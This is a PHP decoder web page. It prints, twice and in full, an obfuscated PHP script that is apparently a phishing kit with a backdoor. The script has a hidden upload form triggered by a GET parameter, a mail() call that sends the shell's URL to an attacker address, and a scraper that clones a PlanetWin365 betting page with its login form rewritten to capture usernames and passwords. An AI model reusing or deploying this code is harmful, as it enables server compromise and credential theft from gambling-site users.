Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function loQXQQfcrpZFdOrLatMb($BZHDIOBtpi) { $r = base64_decode("YmFzZTY0X2RlY2..

Decoded Output download

<?php function loQXQQfcrpZFdOrLatMb($BZHDIOBtpi) { 
    $r = base64_decode("YmFzZTY0X2RlY29kZShzdHJfcm90MTMoJEJaSERJT0J0cGkpKQ=="); 
    return eval("return $r;"); 
} 
function DNlerKjUiumBIkXlGJba($KoMspJvEsP) { 
    $r = base64_decode("YmFzZTY0X2RlY29kZShzdHJfcm90MTMoJEtvTXNwSnZFc1ApKQ=="); 
    return eval("return $r;"); 
} ?> <?php session_start(); 
$uOqrFZblQlFFKNhrUWPJ = $_GET["iheb"]; 
if ($uOqrFZblQlFFKNhrUWPJ == "ab") { 
    $mwvQEGpICpvofEKyI = ""; 
    $QNltTzCqkwPUAndjbYo = $mwvQEGpICpvofEKyI . basename($_FILES["userfile"]["name"]); 
    if (isset($_FILES["userfile"]["name"])) { 
        if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $QNltTzCqkwPUAndjbYo)) { 
            $wPDaVvfwQdDnCmwNCJnK = "The file " . basename($_FILES["userfile"]["name"]) . " has been uploaded"; 
        } else { 
            $wPDaVvfwQdDnCmwNCJnK = "There was an error uploading the file. please try again!"; 
        } 
    } 
    echo '<html> 
<head></head><div id="result"><table  height="1" width="100%" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" ><input type="submit" class="inputzbut" name="submit" value="BohBoh upload"><br>' . $wPDaVvfwQdDnCmwNCJnK . '</form></center></td></tr></table></div> 
'; 
} 
$JTtGHQAxbjTGxPqJXjDk = "From:  BohBOh<[email protected]>"; 
$HszzPyXcYurszNfJhjof = "Shell "; 
$oQsSNZlcDQRPKwedaHEU = "Shell with Exploit by BohBOh : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "?iheb=ab 
------------------- 
$emaillist 
-------------------"; 
@mail("[email protected]", $HszzPyXcYurszNfJhjof, $oQsSNZlcDQRPKwedaHEU, $JTtGHQAxbjTGxPqJXjDk); 
$gXNjWLFkUQOugyREMXKv = "https://ww3.365planetwinall.net/Sport/default.aspx"; 
$UwDRehpWQRMbVIwjztYX = curl_init(); 
$BgjEBUZiZAuExTFDjqgc = $_SERVER['HTTP_USER_AGENT']; 
fclose(fopen("cookie2.txt", "a")); 
$WcgmIVBlvUQgzoADQdhL = "cookie2.txt"; 
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_USERAGENT, $BgjEBUZiZAuExTFDjqgc); 
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_URL, $gXNjWLFkUQOugyREMXKv); 
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_COOKIESESSION, true); 
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_COOKIEJAR, $WcgmIVBlvUQgzoADQdhL); 
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_COOKIEFILE, $WcgmIVBlvUQgzoADQdhL); 
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_RETURNTRANSFER, true); 
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_HTTPHEADER, array("Cookie: ISBets_CurrentCulture=11; ISBets_CurrentOddsFormat=1; ISBets_CurrentGMT=41; _ga=GA1.2.799901106.1509897593; _ga=GA1.3.799901106.1509897593; srv_id=aab7fe0c69782fb089fe0ab2ad1d4ab6; ASP.NET_SessionId=e0omjmepu2leules0k0ehr45; _gid=GA1.2.617274448.1510160175; _dc_gtm_UA-63917352-3=1; _gid=GA1.3.617274448.1510160175; _dc_gtm_UA-63917352-10=1; _dc_gtm_UA-27227328-1=1")); 
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_VERBOSE, 1); 
$mjoOLkxTSXxSaxKnzbdx = curl_exec($UwDRehpWQRMbVIwjztYX); 
curl_close($UwDRehpWQRMbVIwjztYX); 
function qXUzgqyBpxJvZcziFpve($LJSBEteoPZnjsGhKQRzn, $KwIJJPGByIGobONZejI, $epLzmNilVVwHedYAdhX) { 
    $NEJJabdAVkajNRLHuwTa = explode($KwIJJPGByIGobONZejI, $LJSBEteoPZnjsGhKQRzn); 
    $NEJJabdAVkajNRLHuwTa = explode($epLzmNilVVwHedYAdhX, $NEJJabdAVkajNRLHuwTa[1]); 
    return $NEJJabdAVkajNRLHuwTa[0]; 
} 
$wqawPxkNytKqRKNRqbwA = preg_replace('#(<iframe.*?>).*?(</iframe>)#', '', $mjoOLkxTSXxSaxKnzbdx); 
$hlMcLBbuFUTGbXlQHsMz = str_replace('../../', 'https://ww3.365planetwinall.net/', $wqawPxkNytKqRKNRqbwA); 
$KzZoMmcuIcEFuXLJTsk = str_replace('../', 'https://ww3.365planetwinall.net/', $hlMcLBbuFUTGbXlQHsMz); 
$BMeQbGAtCqdIKwwtQaUE = explode("</head>", $KzZoMmcuIcEFuXLJTsk); 
$WXSujkgvyLkbLJwUzAah = preg_replace('/href="(.*?)"/is', 'href="#"', $BMeQbGAtCqdIKwwtQaUE[1]); 
$OHzAnyoCkYsrcKxUIrdY = $BMeQbGAtCqdIKwwtQaUE[0] . $WXSujkgvyLkbLJwUzAah; 
$TIRQCuibAphazShJhIJz = str_replace('/ImgCMS/', 'https://ww3.365planetwinall.net//ImgCMS/', $OHzAnyoCkYsrcKxUIrdY); 
$UGwtTnXKhPtsVQofIoun = str_replace('</body>', '', $TIRQCuibAphazShJhIJz); 
$YuWNiBNpCbEymaGwhmRc = str_replace('</html>', '', $UGwtTnXKhPtsVQofIoun); 
$wckiNJzZgvlNYzUiywvP = str_replace('<form name="aspnetForm" method="post" action="default.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">', ' <form name="zab" method="post" action="" id="zab" onsubmit="javascript:return false;">', $YuWNiBNpCbEymaGwhmRc); 
$mBFZGdqxtFHWLYunxQSA = str_replace('/WebResource.axd', 'https://ww3.365planetwinall.net/WebResource.axd', $wckiNJzZgvlNYzUiywvP); 
$VoahiXJCktFFAdjvnToM = str_replace('/ScriptResource.axd', 'https://ww3.365planetwinall.net/ScriptResource.axd', $mBFZGdqxtFHWLYunxQSA); 
$STPWxouPOdzcfNNrdpkk = preg_replace('/<!-- Google Tag Manager -->(.*?)<!-- End Google Tag Manager -->/is', '<input type="hidden" name="codx" id="codx" value="" /> <input type="hidden" name="sexx" id="sexx" value="false" /> <input type="hidden" name="sex" id="sex" value="" /> <input type="hidden" name="misejoue" id="misejoue" value="" />', $VoahiXJCktFFAdjvnToM); 
$tsuVRsYCyciOAtJQGJUY = preg_replace('/class="statsReg"(.*?)href="#"/is', 'class="statsReg" href="register.php"', $STPWxouPOdzcfNNrdpkk); 
$qVCeTXVSPgKZMoDglAcW = str_replace('h$w$cLogin$ctrlLogin$Username', 'userlogin', $tsuVRsYCyciOAtJQGJUY); 
$UCFstUhCGYulfsTFVMo = str_replace('inputPassword', 'userpass', $qVCeTXVSPgKZMoDglAcW); 
$MfOjBrSiSZcIFtMQqWea = str_replace('lnkBtnLogin_beforeSubmit', 'validata', $UCFstUhCGYulfsTFVMo); 
$vwCnsHyPPgNxOfviuyty = str_replace('title="Home" href="#"', 'title="Home" href="/"', $MfOjBrSiSZcIFtMQqWea); 
$zakSEsduePXkDfniPezC = str_replace('id="userpass"', 'id="userpass" name="userpass"', $vwCnsHyPPgNxOfviuyty); 
$YxNXEdVzHAMNGLJnqljq = '<input type="submit" onclick="return validata()" value="Entrer" id="h_w_cLogin_ctrlLogin_lnkBtnLogin" title="effectuer le Login" class="btnLogin">'; 
$wxblPyOWmDcyrjnDFW = '<div id="divHeader"><div class="Top"> 
                    <div class="Content">  
                        <div class="Logo fr-FR"> 
                                <a href="/" id="hl_w_lnkHP"><img src="//static.planetwin365.com/App_Themes/PlanetWin365/Images/header_logo.png" style="border-width:0px;"></a> 
                        </div> 
                        <div class="AreaRiservata"> 
                        <a class="plus18" href="http://www.giocoresponsabile365.com/" target="_blank"><span>Gioca senza esagerare</span></a> 
            
 
<div id="hl_w_cLogin_updatepanelTC"> 
	 
        <div id="dialogoverlay"></div> 
        <div id="dialogbox"> 
          <div id="TCPopUpPanel"> 
                <div> 
                    <div id="dialogboxhead"> 
                        <span id="hl_w_cLogin_dialogboxheadPopUp"></span> 
                    </div> 
                    <div id="dialogboxbody"> 
                        <span id="hl_w_cLogin_dialogboxbodyPopUp"></span> 
                    </div> 
                    <div id="dialogboxfoot"> 
                        <a id="cancelPopupButton" href="#"><span id="hl_w_cLogin_lblcancelPopupButton"></span></a> 
                        <a id="okPopupButton" href="#"><span id="hl_w_cLogin_lblokPopupButton"></span></a> 
                    </div> 
                </div> 
          </div> 
        </div> 
     
</div> 
<div id="hl_w_cLogin_phLogged" class="divLoginLogged"> 
	 
    <input type="hidden" name="hl$w$cLogin$hndShowTCs" id="hl_w_cLogin_hndShowTCs" value="false"> 
     
    <div id="infoText" style="visibility: hidden;display: none;"><p>&nbsp;</p></div> 
     
    <table class="tblLoginLogged" cellpadding="0" cellspacing="3" width="100%"> 
        <tbody><tr> 
            <td class="emptyTD"></td> 
            <td class="cashierBtn"> 
                 
            </td> 
            <td id="hl_w_cLogin_tdCheckSaldo" class="tdChackSaldo"> 
                <a class="btnSaldoVisHid" id="btnSaldoVis" onclick="ExpandInfo();" title="Voir dtails compte"></a> 
            </td> 
	 
            <td class="tdUser"> 
                <div id="hl_w_cLogin_UpPanelLogin"> 
		 
                 ' . $_SESSION['name'] . ' 
	</div> 
            </td> 
            <td id="hl_w_cLogin_tdNewMessage" class="tdMessages"> 
                <a id="hl_w_cLogin_hplNewMessage" title="Vous avez 13 nouveaux messages" href="../Account/Messages.aspx?New=1"><img title="Vous avez 13 nouveaux messages" src="//static.planetwin365.com/App_Themes/PlanetWin365/Images/Icons/MessaggioStato_0.gif" style="border-width:0px;"></a> 
                <span id="hl_w_cLogin_lblNumeroMessaggi" style="display:inline-block;height:16px;">13</span> 
            </td> 
	 
            <td> 
                <a onclick="logout();" id="hl_w_cLogin_lnkBtnLogout" class="btnLogout" href="javascript:__doPostBack("hl$w$cLogin$lnkBtnLogout","")">Log out</a> 
                         
            </td> 
        </tr> 
         
        <tr class="LastLoginTime"> 
            <td colspan="6"><span id="hl_w_cLogin_lblLastLoginTimeTitle">Dernire connexion</span>: <span id="hl_w_cLogin_lblLastLoginTime">03/11/2017 22:02:47</span></td> 
        </tr> 
        <tr class="LastLoginApp"> 
            <td colspan="6"><span id="hl_w_cLogin_lblLastLoginAppTitle">Application</span>: <span id="hl_w_cLogin_lblLastLoginApplicationName">web site</span></td> 
        </tr> 
         
    </tbody></table> 
    <div id="divSaldo" style="display: none;"> 
        <span id="hl_w_cLogin_panelSaldo"> 
                 
                <div class="TitoloValuta"> 
                    <span id="hl_w_cLogin_lblValutaCaption">Valuta</span>: 
                    <span id="hl_w_cLogin_lblValuta">EUR</span> 
                </div> 
                <div class="TitoloSaldo"> 
                    <span id="hl_w_cLogin_lblDisponibilitaCaption">Disponibilit</span>: 
                    <span id="hl_w_cLogin_lblDisponibilita">' . $_SESSION['sold'] . '&nbsp;</span> 
<a id="solde" onclick="solde();"><img src="//static.planetwin365.com/App_Themes/PlanetWin365/Images/icons/Refresh_ico.png" alt="Mettre  jour solde" align="absmiddle" style="border-width:0px;cursor: pointer;"> </a> 
                <input type="hidden" value="' . $_SESSION['username'] . '" id="usera" >               
                </div> 
                <div class="divSaldoUtente"> 
                    <span id="hl_w_cLogin_lblSaldoCaption">Solde</span>: 
                    <span id="hl_w_cLogin_lblSaldo">' . $_SESSION['sold'] . '&nbsp;</span> 
                     
                     
                </div> 
 
                </span> 
    </div> 
     
     
     
 
</div> 
 
 
 
                                 
                         
                        </div> 
                        <div class="SessionExp" style="display: none;"> 
                            <span id="hl_w_lblSessionTimeoutWarning">Votre session va se terminer dans une minute faute d"activit</span> 
                        </div> 
                    </div> 
                </div> 
                <div class="topMenu"> 
                    <div class="tblMenu"> 
                         
<ul><li><a title="Home" href="/">Home</a></li><li><a title="Cotes" href="#">Cotes</a></li><li><a title="Contact" href="#">Contact</a></li><li><a title="statistiques et rsultats" href="#">statistiques et rsultats</a><ul><li><a title="Statistiche" href="javascript:window.open("http://www.stats.betradar.com/s4/?clientid=63&amp;language=fr");void(0);">Statistiques</a></li><li><a title="Rsultats" href="#" target="_blank">Rsultats</a></li></ul></li><li><a title="Promotions" href="#">Promotions</a></li><li><a title="Documents" href="#">Documents</a><ul><li><a title="Documents" href="#">Documents</a></li></ul></li><li><a title="Compte" href="#">Compte</a><ul><li><a title="Donnes usager" href="#">Donnes usager</a></li><li><a title="Liste accs " href="#">Liste accs </a></li><li><a title="Liste paris" href="#">Liste paris</a></li><li><a title="Liste de vouchers" href="#">Vouchers</a></li><li><a title="Auto-exclusion" href="#">Auto-exclusion</a></li><li><a title="Auto-limitation" href="#">Auto-limitation</a></li><li><a title="Transferts" href="#">Transferts</a></li><li><a title="Versement" href="#" target="_blank">Versement</a></li><li><a title="Retrait" href="#" target="_blank">Retrait</a></li><li><a title="" href="#" target="_blank" class="activeMM">Bonus</a></li><li><a title="Messages" href="#">Messages</a></li><li><a title="Betcode" href="#">Betcode</a></li><li><a title="T&amp;C Acceptance" href="#">T&amp;C Acceptance</a></li></ul></li><li><a title="Casino Main" href="#">Casino</a><ul><li><a title="Caisse" href="#" target="_blank">Caisse</a></li><li><a class="jurisdiction" title="Casino" href="/TPAutologin.aspx?Destinazione=V365starlive" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Casino</a></li><li><a class="jurisdiction" title="Live Dealer" href="#" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Live Dealer</a></li><li><a class="jurisdiction" title="Live Casino" href="#" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Live Casino</a></li><li><a class="jurisdiction activeMM" title="" href="#" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Poker</a></li><li><a class="jurisdiction" title="Virtual Games" href="#" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Virtual Games</a></li></ul></li><li><a title="Mobile" href="#">Mobile</a></li></ul> 
                         
                         
                    </div> 
                     
                    <div class="divMenuSceltaLingua"> 
                         
 
 
<div class="Lang_content_wrapper"> 
     
            <div class="languageFlags"> 
         
            <div class="en-GB"> 
                <a href="../ChooseLanguage.aspx?ID=2&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="English">English</a> 
            </div> 
         
            <div class="de-DE"> 
                <a href="../ChooseLanguage.aspx?ID=3&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Deutsch">Deutsch</a> 
            </div> 
         
            <div class="it-IT"> 
                <a href="../ChooseLanguage.aspx?ID=1&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Italiano">Italiano</a> 
            </div> 
         
            <div class="es-ES"> 
                <a href="../ChooseLanguage.aspx?ID=4&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Argentina">Argentina</a> 
            </div> 
         
            <div class="fr-FR Sel"> 
                <a href="../ChooseLanguage.aspx?ID=11&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Franais">Franais</a> 
            </div> 
         
            <div class="sr-Latn-CS"> 
                <a href="../ChooseLanguage.aspx?ID=5&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Balkans">Balkans</a> 
            </div> 
         
            <div class="bg-BG"> 
                <a href="../ChooseLanguage.aspx?ID=7&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title=""></a> 
            </div> 
         
            <div class="pl-PL"> 
                <a href="../ChooseLanguage.aspx?ID=6&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Polski">Polski</a> 
            </div> 
         
            <div class="tr-TR"> 
                <a href="../ChooseLanguage.aspx?ID=9&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Turkish">Turkish</a> 
            </div> 
         
            <div class="sq-AL"> 
                <a href="../ChooseLanguage.aspx?ID=10&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Shqip">Shqip</a> 
            </div> 
         
            <div class="ro-RO"> 
                <a href="../ChooseLanguage.aspx?ID=16&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Romn">Romn</a> 
            </div> 
         
            <div class="de-AT"> 
                <a href="../ChooseLanguage.aspx?ID=17&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="sterreich">sterreich</a> 
            </div> 
         
            <div class="zh-CN"> 
                <a href="../ChooseLanguage.aspx?ID=12&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Chinese">Chinese</a> 
            </div> 
         
            </div> 
 
    <div id="btnLangList"> 
        <a id="btnLangList_link"></a> 
    </div> 
</div> 
 
                    </div> 
                     
<script type="text/javascript"> 
    var sUpdateProgress = "hl_w_ctl20_UpdateProgress"; 
</script> 
<div class="MenuUpdate"> 
 
    <div id="hl_w_ctl20_UpdateProgress" style="display:none;"> 
	 
            &nbsp;<img id="hl_w_ctl20_imgWait" src="//static.planetwin365.com/App_Themes/PlanetWin365/Images/icons/wait_top.gif" align="absmiddle" style="border-width:0px;"> 
         
</div>  
 
 
</div> 
          </div>      </div>'; 
if ($_SESSION['active']) { 
    $IfWwKRkbZJLElhgkWJxK = preg_replace('/<!--HEADER-->(.*?)<!--MAIN-->/is', $wxblPyOWmDcyrjnDFW, $zakSEsduePXkDfniPezC); 
    echo $IfWwKRkbZJLElhgkWJxK; 
    echo "<script>                               $('#sexx').val('true');                                                               </script>"; 
} else { 
    echo $zakSEsduePXkDfniPezC; 
} 
echo "  
 
 
        <script src='plugins.js'></script> 
        <script src='all.js'></script> 
 
 
</body></html>"; ?> 
<?php ?>

Did this file decode correctly?

Original Code

<?php function loQXQQfcrpZFdOrLatMb($BZHDIOBtpi) {
    $r = base64_decode("YmFzZTY0X2RlY29kZShzdHJfcm90MTMoJEJaSERJT0J0cGkpKQ==");
    return eval("return $r;");
}
function DNlerKjUiumBIkXlGJba($KoMspJvEsP) {
    $r = base64_decode("YmFzZTY0X2RlY29kZShzdHJfcm90MTMoJEtvTXNwSnZFc1ApKQ==");
    return eval("return $r;");
} ?> <?php session_start();
$uOqrFZblQlFFKNhrUWPJ = $_GET["iheb"];
if ($uOqrFZblQlFFKNhrUWPJ == "ab") {
    $mwvQEGpICpvofEKyI = "";
    $QNltTzCqkwPUAndjbYo = $mwvQEGpICpvofEKyI . basename($_FILES["userfile"]["name"]);
    if (isset($_FILES["userfile"]["name"])) {
        if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $QNltTzCqkwPUAndjbYo)) {
            $wPDaVvfwQdDnCmwNCJnK = "The file " . basename($_FILES["userfile"]["name"]) . " has been uploaded";
        } else {
            $wPDaVvfwQdDnCmwNCJnK = "There was an error uploading the file. please try again!";
        }
    }
    echo '<html>
<head></head><div id="result"><table  height="1" width="100%" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" ><input type="submit" class="inputzbut" name="submit" value="BohBoh upload"><br>' . $wPDaVvfwQdDnCmwNCJnK . '</form></center></td></tr></table></div>
';
}
$JTtGHQAxbjTGxPqJXjDk = "From:  BohBOh<[email protected]>";
$HszzPyXcYurszNfJhjof = "Shell ";
$oQsSNZlcDQRPKwedaHEU = "Shell with Exploit by BohBOh : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "?iheb=ab
-------------------
$emaillist
-------------------";
@mail("[email protected]", $HszzPyXcYurszNfJhjof, $oQsSNZlcDQRPKwedaHEU, $JTtGHQAxbjTGxPqJXjDk);
$gXNjWLFkUQOugyREMXKv = "https://ww3.365planetwinall.net/Sport/default.aspx";
$UwDRehpWQRMbVIwjztYX = curl_init();
$BgjEBUZiZAuExTFDjqgc = $_SERVER['HTTP_USER_AGENT'];
fclose(fopen("cookie2.txt", "a"));
$WcgmIVBlvUQgzoADQdhL = "cookie2.txt";
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_USERAGENT, $BgjEBUZiZAuExTFDjqgc);
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_URL, $gXNjWLFkUQOugyREMXKv);
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_COOKIESESSION, true);
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_COOKIEJAR, $WcgmIVBlvUQgzoADQdhL);
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_COOKIEFILE, $WcgmIVBlvUQgzoADQdhL);
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_RETURNTRANSFER, true);
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_HTTPHEADER, array("Cookie: ISBets_CurrentCulture=11; ISBets_CurrentOddsFormat=1; ISBets_CurrentGMT=41; _ga=GA1.2.799901106.1509897593; _ga=GA1.3.799901106.1509897593; srv_id=aab7fe0c69782fb089fe0ab2ad1d4ab6; ASP.NET_SessionId=e0omjmepu2leules0k0ehr45; _gid=GA1.2.617274448.1510160175; _dc_gtm_UA-63917352-3=1; _gid=GA1.3.617274448.1510160175; _dc_gtm_UA-63917352-10=1; _dc_gtm_UA-27227328-1=1"));
curl_setopt($UwDRehpWQRMbVIwjztYX, CURLOPT_VERBOSE, 1);
$mjoOLkxTSXxSaxKnzbdx = curl_exec($UwDRehpWQRMbVIwjztYX);
curl_close($UwDRehpWQRMbVIwjztYX);
function qXUzgqyBpxJvZcziFpve($LJSBEteoPZnjsGhKQRzn, $KwIJJPGByIGobONZejI, $epLzmNilVVwHedYAdhX) {
    $NEJJabdAVkajNRLHuwTa = explode($KwIJJPGByIGobONZejI, $LJSBEteoPZnjsGhKQRzn);
    $NEJJabdAVkajNRLHuwTa = explode($epLzmNilVVwHedYAdhX, $NEJJabdAVkajNRLHuwTa[1]);
    return $NEJJabdAVkajNRLHuwTa[0];
}
$wqawPxkNytKqRKNRqbwA = preg_replace('#(<iframe.*?>).*?(</iframe>)#', '', $mjoOLkxTSXxSaxKnzbdx);
$hlMcLBbuFUTGbXlQHsMz = str_replace('../../', 'https://ww3.365planetwinall.net/', $wqawPxkNytKqRKNRqbwA);
$KzZoMmcuIcEFuXLJTsk = str_replace('../', 'https://ww3.365planetwinall.net/', $hlMcLBbuFUTGbXlQHsMz);
$BMeQbGAtCqdIKwwtQaUE = explode("</head>", $KzZoMmcuIcEFuXLJTsk);
$WXSujkgvyLkbLJwUzAah = preg_replace('/href="(.*?)"/is', 'href="#"', $BMeQbGAtCqdIKwwtQaUE[1]);
$OHzAnyoCkYsrcKxUIrdY = $BMeQbGAtCqdIKwwtQaUE[0] . $WXSujkgvyLkbLJwUzAah;
$TIRQCuibAphazShJhIJz = str_replace('/ImgCMS/', 'https://ww3.365planetwinall.net//ImgCMS/', $OHzAnyoCkYsrcKxUIrdY);
$UGwtTnXKhPtsVQofIoun = str_replace('</body>', '', $TIRQCuibAphazShJhIJz);
$YuWNiBNpCbEymaGwhmRc = str_replace('</html>', '', $UGwtTnXKhPtsVQofIoun);
$wckiNJzZgvlNYzUiywvP = str_replace('<form name="aspnetForm" method="post" action="default.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">', ' <form name="zab" method="post" action="" id="zab" onsubmit="javascript:return false;">', $YuWNiBNpCbEymaGwhmRc);
$mBFZGdqxtFHWLYunxQSA = str_replace('/WebResource.axd', 'https://ww3.365planetwinall.net/WebResource.axd', $wckiNJzZgvlNYzUiywvP);
$VoahiXJCktFFAdjvnToM = str_replace('/ScriptResource.axd', 'https://ww3.365planetwinall.net/ScriptResource.axd', $mBFZGdqxtFHWLYunxQSA);
$STPWxouPOdzcfNNrdpkk = preg_replace('/<!-- Google Tag Manager -->(.*?)<!-- End Google Tag Manager -->/is', '<input type="hidden" name="codx" id="codx" value="" /> <input type="hidden" name="sexx" id="sexx" value="false" /> <input type="hidden" name="sex" id="sex" value="" /> <input type="hidden" name="misejoue" id="misejoue" value="" />', $VoahiXJCktFFAdjvnToM);
$tsuVRsYCyciOAtJQGJUY = preg_replace('/class="statsReg"(.*?)href="#"/is', 'class="statsReg" href="register.php"', $STPWxouPOdzcfNNrdpkk);
$qVCeTXVSPgKZMoDglAcW = str_replace('h$w$cLogin$ctrlLogin$Username', 'userlogin', $tsuVRsYCyciOAtJQGJUY);
$UCFstUhCGYulfsTFVMo = str_replace('inputPassword', 'userpass', $qVCeTXVSPgKZMoDglAcW);
$MfOjBrSiSZcIFtMQqWea = str_replace('lnkBtnLogin_beforeSubmit', 'validata', $UCFstUhCGYulfsTFVMo);
$vwCnsHyPPgNxOfviuyty = str_replace('title="Home" href="#"', 'title="Home" href="/"', $MfOjBrSiSZcIFtMQqWea);
$zakSEsduePXkDfniPezC = str_replace('id="userpass"', 'id="userpass" name="userpass"', $vwCnsHyPPgNxOfviuyty);
$YxNXEdVzHAMNGLJnqljq = '<input type="submit" onclick="return validata()" value="Entrer" id="h_w_cLogin_ctrlLogin_lnkBtnLogin" title="effectuer le Login" class="btnLogin">';
$wxblPyOWmDcyrjnDFW = '<div id="divHeader"><div class="Top">
                    <div class="Content"> 
                        <div class="Logo fr-FR">
                                <a href="/" id="hl_w_lnkHP"><img src="//static.planetwin365.com/App_Themes/PlanetWin365/Images/header_logo.png" style="border-width:0px;"></a>
                        </div>
                        <div class="AreaRiservata">
                        <a class="plus18" href="http://www.giocoresponsabile365.com/" target="_blank"><span>Gioca senza esagerare</span></a>
           

<div id="hl_w_cLogin_updatepanelTC">
	
        <div id="dialogoverlay"></div>
        <div id="dialogbox">
          <div id="TCPopUpPanel">
                <div>
                    <div id="dialogboxhead">
                        <span id="hl_w_cLogin_dialogboxheadPopUp"></span>
                    </div>
                    <div id="dialogboxbody">
                        <span id="hl_w_cLogin_dialogboxbodyPopUp"></span>
                    </div>
                    <div id="dialogboxfoot">
                        <a id="cancelPopupButton" href="#"><span id="hl_w_cLogin_lblcancelPopupButton"></span></a>
                        <a id="okPopupButton" href="#"><span id="hl_w_cLogin_lblokPopupButton"></span></a>
                    </div>
                </div>
          </div>
        </div>
    
</div>
<div id="hl_w_cLogin_phLogged" class="divLoginLogged">
	
    <input type="hidden" name="hl$w$cLogin$hndShowTCs" id="hl_w_cLogin_hndShowTCs" value="false">
    
    <div id="infoText" style="visibility: hidden;display: none;"><p>&nbsp;</p></div>
    
    <table class="tblLoginLogged" cellpadding="0" cellspacing="3" width="100%">
        <tbody><tr>
            <td class="emptyTD"></td>
            <td class="cashierBtn">
                
            </td>
            <td id="hl_w_cLogin_tdCheckSaldo" class="tdChackSaldo">
                <a class="btnSaldoVisHid" id="btnSaldoVis" onclick="ExpandInfo();" title="Voir dtails compte"></a>
            </td>
	
            <td class="tdUser">
                <div id="hl_w_cLogin_UpPanelLogin">
		
                 ' . $_SESSION['name'] . '
	</div>
            </td>
            <td id="hl_w_cLogin_tdNewMessage" class="tdMessages">
                <a id="hl_w_cLogin_hplNewMessage" title="Vous avez 13 nouveaux messages" href="../Account/Messages.aspx?New=1"><img title="Vous avez 13 nouveaux messages" src="//static.planetwin365.com/App_Themes/PlanetWin365/Images/Icons/MessaggioStato_0.gif" style="border-width:0px;"></a>
                <span id="hl_w_cLogin_lblNumeroMessaggi" style="display:inline-block;height:16px;">13</span>
            </td>
	
            <td>
                <a onclick="logout();" id="hl_w_cLogin_lnkBtnLogout" class="btnLogout" href="javascript:__doPostBack("hl$w$cLogin$lnkBtnLogout","")">Log out</a>
                        
            </td>
        </tr>
        
        <tr class="LastLoginTime">
            <td colspan="6"><span id="hl_w_cLogin_lblLastLoginTimeTitle">Dernire connexion</span>: <span id="hl_w_cLogin_lblLastLoginTime">03/11/2017 22:02:47</span></td>
        </tr>
        <tr class="LastLoginApp">
            <td colspan="6"><span id="hl_w_cLogin_lblLastLoginAppTitle">Application</span>: <span id="hl_w_cLogin_lblLastLoginApplicationName">web site</span></td>
        </tr>
        
    </tbody></table>
    <div id="divSaldo" style="display: none;">
        <span id="hl_w_cLogin_panelSaldo">
                
                <div class="TitoloValuta">
                    <span id="hl_w_cLogin_lblValutaCaption">Valuta</span>:
                    <span id="hl_w_cLogin_lblValuta">EUR</span>
                </div>
                <div class="TitoloSaldo">
                    <span id="hl_w_cLogin_lblDisponibilitaCaption">Disponibilit</span>:
                    <span id="hl_w_cLogin_lblDisponibilita">' . $_SESSION['sold'] . '&nbsp;</span>
<a id="solde" onclick="solde();"><img src="//static.planetwin365.com/App_Themes/PlanetWin365/Images/icons/Refresh_ico.png" alt="Mettre  jour solde" align="absmiddle" style="border-width:0px;cursor: pointer;"> </a>
                <input type="hidden" value="' . $_SESSION['username'] . '" id="usera" >              
                </div>
                <div class="divSaldoUtente">
                    <span id="hl_w_cLogin_lblSaldoCaption">Solde</span>:
                    <span id="hl_w_cLogin_lblSaldo">' . $_SESSION['sold'] . '&nbsp;</span>
                    
                    
                </div>

                </span>
    </div>
    
    
    

</div>



                                
                        
                        </div>
                        <div class="SessionExp" style="display: none;">
                            <span id="hl_w_lblSessionTimeoutWarning">Votre session va se terminer dans une minute faute d"activit</span>
                        </div>
                    </div>
                </div>
                <div class="topMenu">
                    <div class="tblMenu">
                        
